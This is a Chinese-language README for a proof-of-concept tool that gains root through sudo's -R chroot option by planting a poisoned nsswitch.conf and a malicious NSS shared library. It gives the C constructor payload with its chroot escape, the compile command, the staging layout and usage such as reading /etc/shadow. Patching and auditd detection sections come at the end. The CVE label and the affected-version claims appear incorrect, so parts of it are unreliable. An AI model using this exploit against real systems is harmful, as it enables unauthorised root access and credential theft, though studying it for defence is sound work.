作者: 0xb0rn3 | 0xbv1
类型: 概念验证(PoC)安全研究工具
CVE: CVE-2023-42456
技术: sudo -R chroot NSS 库注入 → 提权至 root
本工具仅用于经授权的渗透测试和教育性安全研究。请仅在您拥有或已获得明确书面许可的系统上运行。作者对任何滥用行为概不负责。未经授权的使用是违法的。
Xpl0it 是一个概念验证工具,利用了 sudo 在使用 -R(chroot)标志时处理动态 NSS(名称服务切换)库加载方式中的信任模型缺陷。在存在漏洞的 sudo 版本上,控制 chroot 目录的攻击者可以在其中投毒 nsswitch.conf,迫使 sudo 在仍持有提升权限时——即在发生任何凭据丢弃之前——加载恶意共享库。
成功运行后,该工具会将您带入一个 root shell,或以 uid=0 gid=0 执行您指定的任何命令。
该工具专门针对 CVE-2023-42456。该漏洞存在于两个发布分支中,每个分支都有单独的修复提交:
重要提示: sudo 1.9.17 及更高版本不受影响。早期的工具和文章错误地将受影响范围列为 “1.9.14–1.9.17”。本工具执行逐分支版本检测,以避免误报。
以下 CVE 无法通过此技术利用,为避免误报而被有意排除:
| CVE | 技术 | 排除原因 |
|---|---|---|
| CVE-2021-3156(Baron Samedit) | 基于堆的缓冲区溢出 | 完全不同的攻击向量 |
| CVE-2021-23239 | sudoedit 竞态条件 | 不同的技术 |
| CVE-2021-23240 | SELinux 角色符号链接绕过 | 不同的技术 |
sudo -R 需要在目标用户的 sudoers 条目中显式指定 ChrootDir= 指令。仅凭 NOPASSWD 并不能授予 -R 权限。
如果没有 ChrootDir,sudo 会完全拒绝 -R 标志:
sudo: you are not permitted to use the -R option with bridge
允许此漏洞利用的 sudoers 条目必须类似以下之一:
# Unrestricted chroot path (ideal attack condition)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Path-restricted chroot (tool adapts staging dir automatically)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Specific path (tool creates staging inside the allowed path)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it 会在执行任何暂存工作之前解析 sudo -l 以查找 ChrootDir,如果缺少该权限,会提前终止并给出明确说明。
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
步骤 1 — 侦察
收集操作系统、内核版本、架构、当前用户上下文以及所有有效的库搜索路径。检测 AppArmor/SELinux 强制策略和 NoNewPrivs 状态——如果这些处于活动状态,都可能静默阻止漏洞利用。
步骤 2 — 版本指纹识别
解析 sudo --version,并以补丁级别的精度检查 CVE-2023-42456 的两个受影响分支范围。如果版本已修补或超出范围,则终止并给出说明。
步骤 3 — ChrootDir 权限检查
解析 sudo -l 以查找 ChrootDir= 指令。如果不存在,立即终止。如果限制为特定路径,则自动将该路径作为暂存目标,以便 sudo 接受 -R 调用。
步骤 4 — 漏洞利用前探测
在执行任何实际暂存工作之前,构建一个一次性的最小 chroot,并触发一次无害的 sudo -R 调用。确认 sudo 会进入 NSS 解析阶段,并提前捕获 “not permitted” 拒绝。
步骤 5 — 载荷生成
编写 bridge90.c —— 一个带有 __attribute__((constructor)) 函数(_nss_bridge90_init)的 C 共享库,该函数在动态链接器加载它的瞬间触发:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
步骤 6 — 环境搭建
在暂存目录内构建一个可信的 chroot:
bridge/etc/nsswitch.conf — 被投毒以加载 bridge90 NSS 服务bridge/<lib_path>/libnss_bridge90.so.2 — 载荷,部署到所有检测到的库路径(多库覆盖)bridge/bin/bridge — 存根可执行文件,sudo 必须找到它才能通过预执行检查bridge/bin/sh、bridge/bin/bash — 具有正确 ELF 解释器的 shell(通过 readelf -l 检测)bridge/etc/ld.so.conf — 覆盖所有库路径,以便 ldconfig -r 构建有效的缓存步骤 7 — 编译
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — 无默认启动代码;构造函数处理一切-Wl,-soname — 为 NSS 名称解析提供正确的 SONAME-Wl,-init — __attribute__((constructor)) 已经足够;添加 -Wl,-init 会导致双重调用,这是一个 bug编译后,nm -D 验证构造函数符号是否存在于动态导出表中。
步骤 8 — 执行
从暂存目录发起 sudo -R bridge bridge。NSS 解析 bridge90 → 加载我们的库 → 构造函数以提升的权限触发 → 执行 chroot 逃逸 → 获得 root shell。
sudo 的 -R 实现信任它所进入的 chroot 目录的内容。在该漏洞被修复之前,sudo 不会验证 chroot 环境是否已被篡改。由于提供 chroot 路径的用户控制着其内容——包括 nsswitch.conf 及其引用的 NSS 库——他们可以将库加载重定向到任意代码,这些代码会在 sudo 执行任何权限丢弃之前运行。
修补 sudo
更新到 1.9.15p2、1.9.16p2 或任何 1.9.17+ 版本。这些版本会在允许在其内部进行 NSS 解析之前验证 chroot 环境。
# Check your version
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
审计 ChrootDir 指令
审查 /etc/sudoers 和 /etc/sudoers.d/ 中的所有文件。除非明确需要,否则删除 ChrootDir= 条目。限制通配符——优先使用 ChrootDir=/specific/path 而非 ChrootDir=*。
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
审计日志特征
# auditd — detect sudo -R invocations (rare in legitimate use)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
可疑指标
sudo -R 调用 — 合法的生产环境使用极为罕见/tmp 下名称匹配 sudobridge.* 的临时目录/tmp 或用户可写目录中的 libnss_*.so.2 文件gcc 调用setreuid/setregid 系统调用# Make executable
chmod +x Xpl0it
# Drop into root shell (default)
./Xpl0it
# Run a specific command as root
./Xpl0it -c "id && cat /etc/shadow"
# Debug mode — verbose output, staging directory preserved on exit
./Xpl0it -d
# Prompt before continuing on version mismatch
./Xpl0it -v
# Combine flags
./Xpl0it -v -d -c "/bin/bash"
目标用户的 sudoers 条目还必须包含 ChrootDir= — 工具会自动检查这一点,如果缺失会快速失败并给出说明。
如果漏洞利用失败,请使用 -d 运行以保留暂存目录并进行检查:
常见失败原因:
man nsswitch.conf、man 5 nssman ld.so、man ldconfigchroot(2) 手册页欢迎有助于提高准确性、可移植性或检测覆盖范围的贡献。请确保任何新增内容符合负责任披露原则和经授权测试的使用场景。
Xpl0it 仅供经授权的安全研究使用。在测试您不拥有的系统之前,请务必获得明确的书面许可。
| 分支 | 受影响版本 | 修复版本 |
|---|
| 1.9.14.x | 全部(1.9.14 – 1.9.14p2) | 无(整个分支均受影响) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | 不受影响 | 修复已在分支发布前合并到上游 |
| 层 | 操作 |
|---|
| 补丁 | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | 移除 ChrootDir=*;仅使用特定路径 |
| MAC | AppArmor/SELinux 配置文件阻止不受信任的 dlopen() |
| 文件系统 | 以 noexec,nosuid 挂载 /tmp 和用户目录 |
| IMDSv2 | 在云实例上,要求基于令牌的元数据访问 |
| 监控 | auditd 对 sudo -R 调用发出警报 |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS 阻止 setreuid() 生效 |
| 标志 | 描述 |
|---|
-c, --command <cmd> | 提权后要执行的命令(默认:/bin/bash) |
-d, --debug | 详细调试输出;退出时保留暂存目录 |
-v, --verbose | 如果版本超出受影响范围,继续前提示 |
-h, --help | 显示用法 |
--version | 打印版本 |
| 依赖项 | 必需 | 用途 |
|---|
gcc | 是 | 在目标上编译 NSS 共享库 |
sudo | 是 | 目标二进制文件 |
ldconfig | 是 | 在 chroot 内构建 ld.so.cache |
readelf | 是 | 检测 ELF 解释器路径 |
grep、awk、sed、find | 是 | 标准工具 |
strace、ltrace、gdb | 可选 | 增强调试 |
nm | 可选 | 构造函数符号验证 |
| 检查项 | 路径 | 要查看的内容 |
|---|
| 编译日志 | $STAGE/logs/compile.log | gcc 错误 |
| ldconfig 日志 | $STAGE/logs/ldconfig.log | 缓存构建错误 |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| 库 | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | 必须存在 |
| Sudoers | sudo -l | 必须显示 ChrootDir= |
| 错误 | 原因 |
|---|
not permitted to use the -R option | sudoers 中缺少 ChrootDir= |
| 退出码 1,无 NSS 错误 | sudo 版本已修补 |
| 库静默加载失败 | AppArmor/SELinux 阻止 dlopen() |
setreuid 被忽略 | 进程上设置了 NoNewPrivs=1 |
| 找不到库 | ldconfig -r 失败且符号链接回退不足 |